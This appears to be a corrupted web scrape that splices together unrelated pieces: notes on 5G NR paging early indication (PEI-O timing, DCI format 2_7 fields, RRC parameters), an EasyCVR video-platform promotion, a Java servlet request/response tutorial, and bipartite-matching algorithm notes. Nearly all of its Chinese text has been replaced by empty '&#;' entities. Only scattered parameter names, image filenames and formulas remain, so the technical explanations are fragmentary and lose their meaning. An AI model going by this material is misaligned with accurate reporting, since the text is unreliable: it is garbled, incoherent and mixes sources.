&#;&#;1&#;PEI-O&#;2&#;PF&#;PO&#;&#;&#;,&#;2&#;PFs&#;&#;&#;&#;PF_offset&#;T&#;Ns&#;N&#;&#;&#;&#;&#;&#;PF;&#;PEI-O&#;&#;PF&#;&#;&#;&#;PF&#;SFN&#;&#;floor (i_PO/Ns)*T/N&#;PF&#;i_PO&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;RRC&#;&#;&#;po-NumPerPEI&#;&#;&#;&#;&#;&#;&#;PEI &#;&#;occasion&#;&#;&#;PO&#;&#;, &#;&#;paging&#;&#;&#;&#; PO &#;&#;&#;&#;&#;&#;,&#; N x Ns,N &#;&#;DRX &#;&#;&#;&#;&#;&#;PF &#; ,&#;RRC &#;&#;&#;&#;nAndPagingFrameOffset &#;&#;,Ns&#;&#; 1&#;PF&#;&#;PO &#;&#; &#;&#;PEI&#;&#;occasion&#;&#;&#;PF&#;&#;&#;&#;&#;2&#;&#;&#;po-NumPerPEI&#;&#;Ns&#;,&#;&#;PEI&#;&#;&#;&#;PO&#;&#;&#;&#;Ns&#;&#;&#;&#;

&#;&#;pei-FrameOffset&#;firstPDCCH-MonitoringOccasionOfPEI-O RRC&#;&#;&#;&#;&#;&#;:

080cfd0f33b440d79572b966c60de0e9.png

N_PEI_PO,&#;&#;RRC&#;&#;&#;po-NumPerPEI,&#;&#;&#;&#;PEI &#;&#;&#;PO&#;&#;&#;&#;&#;N_PEI_PO<Ns(1&#;PF&#;&#;PO &#;),&#;&#;&#;&#;&#;&#;&#;&#;PO index i_PO&#;&#;&#;&#;DCI format 2_7&#;&#;&#;&#;PDCCH&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;firstPDCCH-MonitoringOccasionOfPEI-O &#;&#;&#; N_S/(N_PEI_PO ) &#;&#;&#;&#;(⌊i_S /(N_PEI_PO)⌋+1)&#;&#;&#;

PEI-O&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;R1-:

13720d1b5004498a96bf982925b6ac7c.png

dd7faeb9898041e7b1fd9ad39052013e.png

PEI&#;PDCCH monitoring occassion &#;4&#;&#;&#;&#;&#;,&#;&#;pei-FrameOffset&#;firstPDCCH-MonitoringOccasionOfPEI-O&#;&#;&#;&#;PEI-O&#;&#;&#;&#;&#;&#;&#;;&#;&#;pei-SearchSpace,&#;&#;pei-SearchSpace&#;&#;&#;SearchSpaceId=0,UE&#;&#;&#;RMSI &#;&#;&#;&#;&#;&#;&#;PEI,;&#;&#;pei-SearchSpace&#;&#;&#;SearchSpaceId&#;&#;0,UE&#;&#;&#;pei-FrameOffset&#;firstPDCCH-MonitoringOccasionOfPEI-O&#;&#;PEI-O&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;SearchSpaceId &#;&#;&#;&#;&#;&#;&#;&#;&#;;pei-Searchspace&#;nrofPDCCH-MonitoringOccasionPerSSB-InPO&#;RRC&#;&#;&#;&#;&#;&#;&#;&#;

e866c0a56f4b4511afd1053834ba2f10.png

nrofPDCCH-MonitoringOccasionPerSSB-InPO&#;&#;&#;&#;&#;&#;PO&#; &#;&#;SSB&#;&#;&#;PDCCH MOs,&#;sharedspectrum&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;

833d1c8cef774343965ccdd127612f99.png

&#;&#;PEI occasion&#;S*X&#;&#;&#;PDCCH MOs&#;&#;&#;,&#;&#;S &#;SIB1 &#;ssb-PositionsInBurst&#;&#;&#;&#;&#;&#;&#;&#;&#;SSB&#;&#;&#;,X&#;nrofPDCCH-MonitoringOccasionPerSSB-InPO&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;,X=1&#; PEI&#;&#;(x*S+K )&#;PDCCH MOs&#;&#;&#;&#;&#;K&#;SSB,&#;&#;x=0,1,...X-1;K=1,2,...,S&#; &#;&#;S=4 ,&#;&#;&#;&#;4&#;SSB,X=1,&#;PEI&#;&#;1&#;PDCCH MOs&#;&#;&#;&#; &#;1 &#;SSB; PEI&#;&#;2&#;PDCCH MOs&#;&#;&#;&#; &#;2&#;SSB;PEI&#;&#;3&#;PDCCH MOs&#;&#;&#;&#; &#;3&#;SSB;PEI&#;&#;4&#;PDCCH MOs&#;&#;&#;&#; &#;4&#;SSB,&#;&#;&#;SSB&#;PEI-O MO&#;&#;&#;&#;&#;,&#;&#;&#;&#;SSB&#;&#; PEI-O MO&#;PEI&#;PDCCH MOs&#;&#;&#;UL symbol overlap;&#;PEI-O&#;PEI&#; PDCCH MO&#;0 &#;&#;&#;&#;;&#;UE&#;PEI-O&#;&#;&#;&#;PEI&#;,&#;UE&#;&#;&#;&#;&#;&#;PEI-O&#;&#;&#;&#;MOs&#;

27f73bc04aaa4322b9824646295e8944.png

&#;&#;UE&#;&#;&#;PEI&#;&#;&#;&#;PEI&#;&#;UE&#;&#;&#;subgroup&#;&#;&#;&#;&#;&#;PO,&#;&#;&#;&#;&#;PO,&#;&#;UE&#;PEI-O&#;&#;&#;&#;&#;PEI&#;&#;&#;&#;&#;PEI&#;&#;&#;&#;&#;&#;UE&#;&#;&#;&#;&#;subgroup&#;&#;&#;PO,&#;UE&#;&#;&#;&#;&#;&#;&#;&#;&#;PO&#;

&#;UE &#;PEI-O&#;&#;&#;&#;&#;&#;&#;DCI, PEI&#;&#;DCI&#;?&#;&#;&#;&#;&#;&#;&#;&#;DCI&#;&#;DCI format 2_7,&#;&#;&#;&#;&#;&#;DCI 2_7&#;&#;&#;&#;

DCI format 2_7

d890603e00f04e629b1a2f2290461c6a.png

UE&#;&#;&#;&#;RRC&#;&#;&#;&#;DCI format 2_7&#;&#;&#;&#;&#;:

1 pei-FrameOffset&#;&#;&#;&#;&#;&#;frame&#;DCI 2_7 &#;&#; PDCCH MOs &#;&#;&#;&#;&#;&#;&#;frame&#;&#;&#;frame&#;&#;&#;&#;&#;&#;

&#;DCI&#;&#;2_7&#;&#;&#;PDCCH&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

2 firstPDCCH-MonitoringOccasionOfPEI-O&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;frame&#;DCI format 2_7&#;&#;&#;PDCCH MO&#;&#;&#;&#;&#;;

3 pei-FrameOffset&#;firstPDCCH-MonitoringOccasionOfPEI-O&#;&#;&#;&#;PEI-O&#;&#;&#;&#;&#;&#;&#;, &#;&#;UE&#;&#;&#;&#;&#;&#;&#;&#;&#;search space set&#;&#;pei-SearchSpace,&#;&#;&#;&#;&#;&#;DCI 2_7&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;PDCCH&#;&#;;

4 payloadSizeDCI-2-7,&#;&#;&#;&#;DCI 2_7&#;size,&#;size&#;&#;&#;paging DCI &#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;,&#;&#;size&#; 41 bits(licensed spectrum)&#; 43 bits(unlicensed spectrum)&#;

5 N_PO_SG,&#;&#;RRC&#;&#;&#;subgourpsNumPerPO,&#;&#;&#;&#;PO&#;&#;&#;subgroups&#;&#;

6 N_PEI_PO,&#;&#;RRC&#;&#;&#;po-NumPerPEI,&#;&#;&#;&#;PEI &#;&#;&#;PO&#;&#;&#;

&#;&#;IE&#;RRC&#;&#;&#;&#;&#;&#;&#;:

42aa89add9cb4978bd6beb0eec6e1582.png

80abaab478bf49d3b4f4f15b6cf23246.png

DCI 2_7&#;&#;&#;&#;&#;UE&#;&#;PEI&#;TRS availability indication,&#;&#;PEI-RNTI&#;&#;,&#;2 &#;fields&#;Paging indication field &#;&#;N_PEI_PO *N_PO_SG bits,&#;&#;N_PEI_PO &#;RRC&#;&#;&#;po-NumPerPEI &#;&#;, &#;&#;&#;&#;&#;&#;PEI &#;&#;occasion&#;&#;&#;PO&#;&#;;N_PO_SG&#;RRC&#;&#;&#;subgroupsNumPerPO&#;&#;,&#;&#;&#;&#;&#;&#;PO&#;&#;&#;subgroups &#;&#;;&#;&#;bit&#;&#;&#;&#;UE subgroup &#;paging occasion&#;

73d2505620874bc594ab8c44e0c932a7.png

DCI format 2_7 &#;size&#;RRC&#;&#;&#; payloadSizeDCI-2_7 &#;&#;&#; format 2_7 &#;&#;&#;&#;&#;&#;&#;&#;<=format 2_7 &#;&#;&#;&#;&#;&#;&#;&#; &#;&#;format 2_7&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;2_7&#;size,&#;&#;&#;bits reserved&#;

b3e7bae5d59e48b6b25680b3a5d673d0.png

&#;&#;&#;&#;DCI 2_7&#;paging indication field &#;&#;N_PEI_PO&#; K bits&#;&#;&#;,&#;&#;K=N_PO_SG&#;&#;&#;subgroup index i_SG,0<=i_SG

9839d10e66f649e3b463e0dd8e3eb671.png

subgroupID&#;PO &#;DCI 2_7 paging indication field &#;&#;&#;&#;&#;&#;&#;&#;,subgroupID&#;&#;&#;&#;&#;&#;&#;(CN assigned subgrouping)&#;&#;&#;&#;&#;UE_ID&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;PEI bit&#;i_PO&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;SSB&#;PEI&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;UE&#;&#;&#;&#;&#;&#;,&#;&#;UE&#;&#;&#;DRX&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;PO ,&#;&#;UE&#;&#;&#;PEI,&#;&#;&#;&#;&#;bit value,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;decode&#;&#;&#;PO,&#;&#;&#;&#;&#;&#;&#;

6aa23cab354b44c3b321c8b6f31171c2.png

449c7da593984433baeb793575bac499.png

&#;&#;UE&#;&#;&#;&#;&#;&#;,&#;&#;cell re-selection,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;PEI-O,UE&#;&#;&#;&#;&#;&#;&#;DRX &#;&#;&#;&#;&#;PO&#;

&#;RRC_INACTIVE state,&#;&#;UE&#;&#;inactiveStatePO-Determination&#;&#;&#;&#;&#;SIB1&#;&#;&#;&#;ranPagingInIdlePO=true,&#;UE&#;&#;&#;&#;RRC idle&#;&#;&#;&#;I_PO&#;,&#;&#;&#;&#;,&#;&#;&#;38.213 10.4a&#;&#;&#;&#;&#;&#;i_PO&#;

&#;&#;&#;&#;PEI&#;&#;&#;capability IE,&#;&#;

02799ccea6bf405eaf0240deb84ccf99.png

pei-SubgroupingSupportBandList-r17&#;&#;UE&#;&#;&#;&#;&#;&#;DCI 2_7&#;&#;&#;&#;&#;PEI&#;&#;&#;&#;&#;&#;UE&#;&#;&#;&#;&#;&#;band&#;&#;&#;PEI,&#;UE ID based subgrouping&#;&#;&#;&#;&#;&#;&#;

&#;&#;PEI&#;&#;&#;&#;&#;&#;,&#;DCI format 2_7&#;&#;&#;&#;&#;field TRS availability indication,&#;&#;&#;&#;field&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;

AI&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;AI&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;EasyCVR&#;&#;&#;&#;&#;&#;&#;&#;&#;AI&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

关于国标EHOME视频平台EasyCVR云边端协同与算力调度在AI视频检测场景中的应用意义_人工智能

1&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;"&#;&#;&#;&#;"&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;"&#;&#;&#;&#;"&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

2&#;AI&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;/&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;/&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;/&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

关于国标EHOME视频平台EasyCVR云边端协同与算力调度在AI视频检测场景中的应用意义_人工智能_02

&#;&#;/&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;/&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

3&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;AI&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;AI&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;AI&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;AI&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;AI&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

4&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;AI&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;+EasyCVR&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

关于国标EHOME视频平台EasyCVR云边端协同与算力调度在AI视频检测场景中的应用意义_数据_03

&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;?

&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;url&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;url&#;&#;&#;&#;mapstore&#;&#;&#;servlet,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;?

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

HttpServletRequest

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;cookie&#;session&#;&#;&#;

http&#;&#;&#;&#;,HttpServletRequest

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;http&#;&#;&#;&#;&#;&#;&#;&#;

http://localhost:8080/test?aaa=aaa

在这里插入图片描述

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;url&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;map

&#;&#;&#;HttpServletResponse

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;?

&#;&#;,&#;&#;&#;servlet&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

HttpServlet&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;servlet&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;servlet&#;

在这里插入图片描述

&#;&#;&#;&#;

&#;&#;http://localhost:8080/test?aaa=123

&#;&#;servlet&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;123

在这里插入图片描述

&#;&#;&#;&#;&#;&#;&#;&#;html&#;&#;&#;&#;&#;

&#;&#;&#;tomcat&#;&#;&#;&#;&#;&#;&#;&#;&#;(&#;&#;html&#;&#;)&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; (2) &#;&#;&#; (A) &#; (B)&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; (2) &#;&#;&#; (2) &#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;dfs&#;&#;&#;&#;

&#;&#;&#; (2) &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; (Theta(n))&#;

&#;&#;1 P1525 &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;mid&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;mid&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;mid&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;mid&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;mid&#;&#;&#;&#;&#;&#;&#;&#;

AC&#;&#;&#;

&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#; (E) &#;&#;&#;&#;&#; (2) &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;(max|E|)&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;((x,y)∈E)&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#; ((x,y)∈E)&#;&#; (x) &#; (y) &#;&#;&#;&#;&#;&#;&#; (x) &#; (y) &#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

1.&#; (S) &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

2.&#;&#;&#;&#;&#;path&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

3.&#;&#;&#; (2) &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; (x) &#;&#;&#;&#; (y) &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;(match[x]=y)

&#;&#; (y) &#;&#;&#;&#;&#;&#;&#;&#; (y) &#;&#;&#;&#;&#;&#;&#;&#; (y) &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

dfs&#;&#;&#;&#;&#;&#;&#; (Theta(n))&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; (Theta(n^2))

&#;&#;&#;&#;&#;

&#;&#;1 T &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; (2) &#;&#;&#;&#;

&#;&#;&#;&#;&#;&#; (2) &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#; (1) &#;&#;&#;&#;&#;&#;&#;&#;

